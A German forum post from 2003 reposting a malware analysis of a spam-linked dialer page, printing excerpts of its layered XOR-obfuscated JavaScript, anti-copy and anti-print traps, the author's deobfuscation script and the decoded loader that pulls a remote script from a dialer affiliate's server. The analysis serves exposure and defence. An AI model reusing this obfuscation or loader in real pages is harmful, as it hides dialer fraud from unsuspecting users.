[GastForen Web allgemein Kampf gegen Spam und Terror im Internet Hacks & Cracks-Einblicke

  • Suche
  • Hilfe
  • Lesezeichen
  • Benutzerliste
Themen
Beiträge
Moderatoren
Letzter Beitrag

Hacks & Cracks-Einblicke

WolfJack
Beiträge gesamt: 2852

13. Jul 2003, 11:49
Beitrag # 1 von 1
Bewertung:
(846 mal gelesen)
URL zum Beitrag
Beitrag als Lesezeichen
http://www.konsumboykott.de/print.php?sid=84

Hier habe ich eine sehr interessante Analyse von codierten Spam-Mails gefunden.
Kopie nachstehend, aber im Web besser lesbar.

Neue Spamattacke lockt auf gecryptete Dialerseite
Datum Samstag, 24. Mai 2003 um 04:55 Uhr
Topics Spammer


Heute habe ich beim nachrecherchieren der erfreulicherweise sinkenden Anzahl Spammails in meinem Postfach etwas ungewöhnliches gefunden.

Eine Mail von einem "micha" verweist mich auf augenscheinlich auf eine Seite bei "angelfire". Natürlich war das ein Fake und der Link führt auf die zum Allgemeinärgernis gewordenen, ausländischen Tripod-Pages.

Diese Seiten sind gegen Spammer und Missbrauch genausgut geschützt wie ein offener Mercedes Roadster mit steckendem Schlüssel und laufendem Motor im Gallusviertel, Fankfurt



Interessant wird es allerdings, wenn man dem Link folgt...
...die Zielseite versucht natürlich erstmal wieder einen dieser scheiß Dialer zu installieren - so weit so gut.



Schaut man sich jetzt aber den Seitenquelltext an, erlebt man eine Überraschung.

Auszugsweise möchte ich den Quelltext hier einmal abbilden:






<html>
<script language = "JavaScript">
var x = '';x+='%3Cscript%20language%20%3D%20%22JavaScript%22%3Efunction%20d%20%28t%2C%20k%29%20%7B%20var%20y%20%3D%200%3B%20var%20r%20%3D%20%27%27%3B%20t%20%3D%20unescape%20%28t%29%3B%20for%20%28i%20%3D%200%3B%20i%20%3C%20t%2Elength%3B%20i%2B%2B%29%20%7B%20x%20%3D%20k%2EcharCodeAt%28y%29%3B%20x2%20%3D%20t%2EcharCo';x+='deAt%28i%29%3B%20if%20%28x%20%21%3D%20x2%29%20%7B%20r%20%3D%20r%20%2B%20String%2EfromCharCode%20%28x2%20%5E%20x%29%3B%20%7D%20else%20%7B%20r%20%3D%20r%20%2B%20String%2EfromCharCode%20%28x%29%3B%20%7D%20y%2B%2B%3B%20if%20%28y%20%3D%3D%20k%2Elength%29%20%7B%20y%20%3D%200%3B%20%7D%20%7D%20return%20%...

So geht das etwa 24Kbyte. Das hat meine Neugier geweckt. Bei der ersten Analyse erkennt man Fragmente von Javascript und %-Zeichen. Das deutet auf eine oberflächliche URL-Kodierung hin.

Aus diesem Grund ahbe ich zunächst einmal das Tool URLencoded HTML Decrypter verwendet, um mir einen ersten Überblick zu verschaffen.

Das Ergebnis sieht dann so aus:






<html>
<script language = "JavaScript">
var x = '';x+='<script language = "JavaScript">function d (t, k) { var y = 0; var r = ''; t = unescape (t); for (i = 0; i < t.length; i++) { x = k.charCodeAt(y); x2 = t.charCo';x+='deAt(i); if (x != x2) { r = r + String.fromCharCode (x2 ^ x); } else { r = r + String.fromCharCode (x); } y++; if (y == k.length) { y = 0; } } return (e';x+='scape (r)); }function o8hb4qcdj5l2 (w, k) { document.write (unescape (d (w, k))); }var k='2528340725';</script>';document.write (unescape (x));o8hb4qcdj5l2('....

Die Analyse zeigt, das es sich um einen simplen Dekodieralgorithmus handelt. Ersetzt man das "document.write" durch "alert", kriegt man den dekodierten Quellcode angezeigt.

Anders als ich erwartet habe, ist das dann jedoch kein HTML sondern nochmals JavaScript.

Diesmal ein etwas komplexerer Algorithmus, der eine Prüfsumme (Dateilänge) misst und im Fehlerfall als Dekodierschlüssel eine Zufallszahl heranzieht - das Ergebnis ist völliger Schrott. Glücklicherweise steht aber im "if"-Block auch der Positivschlüssel - also ist alles was ich machen muss, mittels ".replace" den Zufallsgenerator durch den Schlüssel zuersetzen und das "document.write" auch hier wieder durch ein "alert" zu ersetzen.

Pustekuchen! Das Ding ist nochmal verschlüsselt... Selbes Schema, selber Algorithmus, aber anderer Schlüssel.



Eine Strategie musste her, da ich zunächst nicht genau wusste mit was ich es zu tun habe - ich konnte also nicht im Netz suchen.

Ich habe mich dazu entschlossen, die Decrypt-Routine zu verwenden, die gleich am Anfang sichtbar wurde und immer weiter verwendet wird. Hier klinke ich mich ein und hebel jede Verschlüsselungsstufe aus.

Insgesamt waren es dann 12(!) Stufen.






// Dekodierten String puffern

qx = r;

// Der Crypter hat eine Falle: Stimmt die File-Checksum nicht, wird mittels Zufallszahlen dekodiert.
// Aushebeln nur möglich, durch austauchen des Zufallszahlenblocks mit dem Freigabeblock.
// Es existieren immer 2 Fallen!

// 2. Cryptlauf

qx = qx.replace("h2528340725=Math.round(Math.random()*99999999);","h2528340725=1228048154;"); // Key 2
qx = qx.replace("h2528340725=Math.round(Math.random()*99999999);","h2528340725=1228048154;");

// 3. Cryptlauf
qx = qx.replace("h1138338693=Math.round(Math.random()*99999999);","h1138338693=2612935192;"); // Key 3
qx = qx.replace("h1138338693=Math.round(Math.random()*99999999);","h1138338693=2612935192;");

// 4. Cryptlauf
qx = qx.replace("h2535535250=Math.round(Math.random()*99999999);","h2535535250=1538071684;"); // Key 4
qx = qx.replace("h2535535250=Math.round(Math.random()*99999999);","h2535535250=1538071684;");

// 5. Cryptlauf
qx = qx.replace("h1528109302=Math.round(Math.random()*99999999);","h1528109302=2125339314;"); // Key 5
qx = qx.replace("h1528109302=Math.round(Math.random()*99999999);","h1528109302=2125339314;");

// 6. Cryptlauf
qx = qx.replace("h2053181547=Math.round(Math.random()*99999999);","h2053181547=190007922;"); // Key 6
qx = qx.replace("h2053181547=Math.round(Math.random()*99999999);","h2053181547=190007922;");

// 7. Cryptlauf
qx = qx.replace("h140792254=Math.round(Math.random()*99999999);","h140792254=281191945;"); // Key 7
qx = qx.replace("h140792254=Math.round(Math.random()*99999999);","h140792254=281191945;");

// 8. Cryptlauf
qx = qx.replace("h245456702=Math.round(Math.random()*99999999);","h245456702=139890326;"); // Key 8
qx = qx.replace("h245456702=Math.round(Math.random()*99999999);","h245456702=139890326;");

// 9. Cryptlauf
qx = qx.replace("h86280865=Math.round(Math.random()*99999999);","h86280865=820212850;"); // Key 9
qx = qx.replace("h86280865=Math.round(Math.random()*99999999);","h86280865=820212850;");

// 10. Cryptlauf
qx = qx.replace("h730220706=Math.round(Math.random()*99999999);","h730220706=1330376931;"); // Key 10
qx = qx.replace("h730220706=Math.round(Math.random()*99999999);","h730220706=1330376931;");

// 11. Cryptlauf
qx = qx.replace("h1295264009=Math.round(Math.random()*99999999);","h1295264009=1166211337;"); // Key 11
qx = qx.replace("h1295264009=Math.round(Math.random()*99999999);","h1295264009=1166211337;");

// 12. Cryptlauf
qx = qx.replace("h1123710635=Math.round(Math.random()*99999999);","h1123710635=2594638013;"); // Key 12
qx = qx.replace("h1123710635=Math.round(Math.random()*99999999);","h1123710635=2594638013;");

// Falle 1: Wenn der Referrer mit "file://" beginnt, verweist das Script auf "about:blank"
// Aushebeln...
qx = qx.replace("location=\"about:blank\";","");
qx = qx.replace("location=\"about:blank\";","");
qx = qx.replace("location=\"about:blank\";","");
qx = qx.replace("location=\"about:blank\";","");
qx = qx.replace("location=\"about:blank\";","");

// Falle 2: Alle Versuche etwas anzuklicken und zu selektieren schlagen fehl
// Aushebeln
qx = qx.replace("return false","");
qx = qx.replace("return false","");
qx = qx.replace("return false","");
qx = qx.replace("return false","");

// Ausgabe der dekodierten Inhalte (Sicherheitshalber auskommentieren im Textarea und escapen)
document.write("<textarea>"+escape(qx)+"</textarea>");

// Ersetzen des einfachen "document.write(d(w,k))" durch "alert, document.write" um zunächst den dekodierten
// Text lesen zu können
qx = qx.replace("document.write(unescape(d(w,k)));","alert(unescape(d(w,k)));document.write(unescape(d(w,k)));");

// Zurück escapen (wird jeweils erwartet!)
qx = escape(qx);

Danach kommt dann HTML. Dieses HTML lasse ich mir "url-encoded" in eine "<textarea>" schreiben.

Leider gab es beim ersten Versuch Probleme: Ich konnte den Inhalt des Textfeldes nicht markieren und nicht kopieren. Ein JavaScript hat das geblockt.

Also wieder ein ".replace" eingebaut und weiter gings...

Nun schaue ich mir den Quellcode nach der Wandlung durch ein simples PHP-Script an.






<script language = "JavaScript">if(window.location.protocol.indexOf("file")!=-1){location="about:blank";}function _nn(){if(document.layers||window.sidebar){ var t= document.getSelection(); if(t !=""){ if(!window.find){ alert("Function Disabled."); }else{ if(t !=" "){ window.find(" ") }; } }; setTimeout("_nn()",20) } } _nn(); function _nrcie(){return false}function _nrcns(e){if(e.which==2||e.which==3)}if(document.layers){document.captureEvents(Event.MOUSEDOWN);document.onmousedown=_nrcns} document.oncontextmenu=_nrcie; function _np1(){for(wi=0;wi<document.all.length;wi ){ if(document.all[wi].style.visibility!="hidden"){ document.all[wi].style.visibility="hidden";document.all[wi].id="gwp" } } }; function _np2(){ for (wi=0;wi<document.all.length;wi ){ if(document.all[wi].id=="gwp")document.all[wi].style.visibility=""} }; window.onbeforeprint=_np1;window.onafterprint=_np2; function _ng(){ if (document.all) for (i = 0;i< document.images.length;i ){ z = document.images(i);z.galleryImg = "no" } }_ng(); function _nsb(){ window.status=""; document.execCommand("Unselect"); try { document.execCommand("Copy");} catch (e) {} finally {}; setTimeout("_nsb()",1)} _nsb();</script><html>...

Auch hier wieder Überraschungen:

Startet man das File durch Doppelklick, landet man auf "about:blank". Ein JavaScript checkt das Protokoll des Referrers. Ist es "file://" wird automatisch auf "about:blank" verwiesen.






if(window.location.protocol.indexOf("file")!=-1){location="about:blank";}

Das lässt sich ja leicht aushebeln - aber die nächste Überraschung steht an:

Ein gecryptetes JavaScript ist eingebettet "JScript.Encode". Das muss der Kernpunkt sein. Denn nirgendwo anders ist ein Verweis auf den Dialer zu finden gewesen. Offenbar wollte der Urheber alles nur erdenkliche unternehmen, um die Herkunft des Dialers zu verschleiern.






<script language="JScript.Encode">#@~^GwMAAA==@#@&\CMP: 6DP{E]2ZdmMk2Ou !^CxTElTnY&G]y Bl-CUm.kaO]y YfA]!9YZb-lMYy!.0u !u&GY ZNGm!:nUDRDW MD M OWdWS .ZCd] %u ,u&$YZf]T)7l.]yT9kn!D^] Z]29]y![W1Ehn YR`]ScYWdGA MZm/n] 0u 1]2$]ZfYTz\l.Yy!2lMOk] Z]2f]y!Mn0c/2VbYY R] ydk9]&GY u O]fAYTG]TbbW]y!Y Rwl.OkRs LDtYy!u&fu&GY ZFY O] T7lDu !alDDdY Z]2fY T[b ;D^ /aVrOu %Y y/rNufG] y]y,]2AuTfu!)k6] Tu %aCDD/R^nUoDtu T]f9u&9]yTFu 1Yy!lsnMYY ZYy%YyGw t^ M4l6YnDu T3bx4m;]y!NdY ZD8 2CMYU MRZKNndu FY F] ...

Aber auch hier gibt es Abhilfe. Nach einigen Recherchen habe ich herausgefunden, das diese Kodierung mit einem Tool namens "Microsoft Script Encoder" erreicht wird. Die Suche nach einem Decrypter war erfolgreich (Achtung: .NET-Framework erforderlich. Funktioniert nur bei eigener Kompilierung und dem Umkopieren einer DLL) und ich konnte mir den Inhalt des Blockes ansehen:






var Text ="<script language="JavaScript">
var ref = document.referrer.toLowerCase();
var dieurl = document.URL.toLow2rCase();
var parts = ref.split("sid=");
if (parts.length == 1){var parts = dieurl.split("sid=");
if (parts.length == 1) alert ('Fehlerhafter Einbau des Werbepartner-Codes!');
else document.write ("<script language=\"JavaScript\" src=\"http://www.movieplugin.com/.../webmaster.php?sid=" + parts[1] + "\"><\/script>");

</script>";
function DeCode() { var NewText; NewText = unescape(Text); document.write(NewText);} DeCode();

Fazit: Der Dialer stammt von dem Unternehmen "movieplug.com", das großspurig für seine tollen Ausschüttungen wirbt - auch in Deutschland. Das Unternehmen schüttet wöchentlich aus (steht zumindest da) - also ist jeder gewonnene Tag durch Verschleierung bares Geld

Es bleibt zu hoffen, dass dieses Subjekt erwischt und abgeurteilt wird - denn der Urheber der Mails kommt aus dem deutschen Raum. Das US-Unternehmen wird auf Grund der mangelhaften Rechtslage nicht als Mitstörer belangt werden können.
Fazit: Spams zu versenden ist gefährlich. Das kann sehr teuer werden. Wer die Originalmail und die HTML-Datei zum "Selberhacken" haben möchte, kann sich melden.

Die Kampagne läuft nach ähnlichem Schema (tripod-Account, kodierte Zielseite) erst richtig an. Wahrscheinlich wird sie zur gleichen Seuche wie die Netmails-Kampagne. Es bleibt nur eins: Alle ausländischen Tripod-Server auf die Blacklist setzen. Ein Tutorial dazu ist geplant (für Windows)

Der Beitrag kommt von http://www.konsumboykott.de
http://www.konsumboykott.de/

Die URL für diesen Beitrag lautet:
http://www.konsumboykott.de/...e=article&sid=84


---
mfG WolfJack
http://www.webdesignausberlin.de
http://www.eierschale-berlin.de
http://www.webdesignausberlin.de/forum/index.php
---
ICQ 158358544
X

Veranstaltungskalender

Hier können Sie Ihre Anlässe eintragen, welche einen Zusammenhang mit den Angeboten von HilfDirSelbst.ch wie z.B. Adobe InDesign, Photoshop, Illustrator, PDF, Pitstop, Affinity, Marketing, SEO, Büro- und Rechtsthemen etc. haben. Die Einträge werden moderiert freigeschaltet. Dies wird werktags üblicherweise innert 24 Stunden erfolgen.

pdf-icon Hier eine kleine Anleitung hinsichtlich Bedeutung der auszufüllenden Formularfelder.

Veranstaltungen
14.05.2024

Online
Dienstag, 14. Mai 2024, 10.00 - 10.30 Uhr

Webinar

Prozessoptimierung ist ein Teamsport! Keine Software und keine Maschine allein kann Ihnen helfen, die Effizienzpotenziale Ihres Betriebes maximal auszuschöpfen. Von der Auftragsannahme über die Vorstufe und den Druck bis hin zur Weiterverarbeitung – alles muss optimal ineinandergreifen. Apropos Weiterverarbeitung – in vielen Druckbetrieben fristet sie in Sachen Prozessoptimierung immer noch ein Schattendasein. Dabei liegen hier mittlerweile die größten Einsparpotenziale! In einem Webinar von Horizon und Impressed erfahren Sie, wie Sie diese Einsparungen realisieren können. Horizon, bekannt für innovative Lösungen in der Druckweiterverarbeitung, bietet mit iCE LiNK eine Workflowlösung für die Weiterverarbeitung. iCE LiNK überwacht, visualisiert und analysiert Produktionsabläufe und unterstützt bei der Wartung – damit immer alles reibungslos läuft. Den gleichen Anspruch hat der von Impressed entwickelte Impressed Workflow Server – er ist die smarte PDF-Workflow-Lösung für Druckereien, die Datenmanagement, Preflight und Produktionssteuerung übernimmt. Im Webinar zeigen Ihnen die Experten von Horizon und Impressed, wie beide Lösungen im Team die Effizienz und Produktivität Ihres Betriebes steigern können. Melden Sie sich am besten gleich an, wir freuen uns auf Sie! PS: Melden Sie sich in jedem Fall an – sollten Sie zum Termin verhindert sein, erhalten Sie die Aufzeichnung.

kostenlos

Ja

Organisator: Impressed / Horizon

https://www.impressed.de/schulung.php?c=sDetail&sid=327

Einsparpotenziale in der Weiterverarbeitung
Veranstaltungen
16.05.2024

Online
Donnerstag, 16. Mai 2024, 10.00 - 10.30 Uhr

Webinar

Komplizierte, kleinteilige Aufträge; alles sehr speziell; seit Jahren bewährte Prozesse – da können wir nichts standardisieren und automatisieren! Das sagen viele Großformatdrucker – aber stimmt das wirklich, ist dem tatsächlich so? Günther Business Solutions und Impressed treten in einem Webinar den Gegenbeweis an. Experten beider Unternehmen zeigen, wie Großformatdrucker vom Einsatz zweier bewährter Lösungen profitieren können: • von advanter print+sign von Günther Business Solutions, dem ERP-System für den Großformatdruck, dass alle Phasen der Wertschöpfung im Large Format Printing abdeckt • von Impressed Workflow Server, der smarten PDF-Workflow-Lösung für Druckereien, die Datenmanagement, Preflight und Produktionssteuerung übernimmt Über die Kombination beider Lösungen können Großformatdrucker ihre Prozesse mit modernen Workflows Schritt für Schritt automatisieren – und so zügig deutliche Zeit- und Kosteneinsparungen realisieren. Das Webinar sollten Sie sich nicht entgehen lassen – damit Sie keine Effizienzpotenziale mehr liegen lassen. Melden Sie sich am besten gleich an, wir freuen uns auf Sie! PS: Melden Sie sich in jedem Fall an – sollten Sie zum Termin verhindert sein, erhalten Sie die Aufzeichnung.

kostenlos

Nein

Organisator: Impressed / Günther Business Solutions

https://www.impressed.de/schulung.php?c=sDetail&sid=326

Und es geht doch: Automatisierung im Großformatdruck!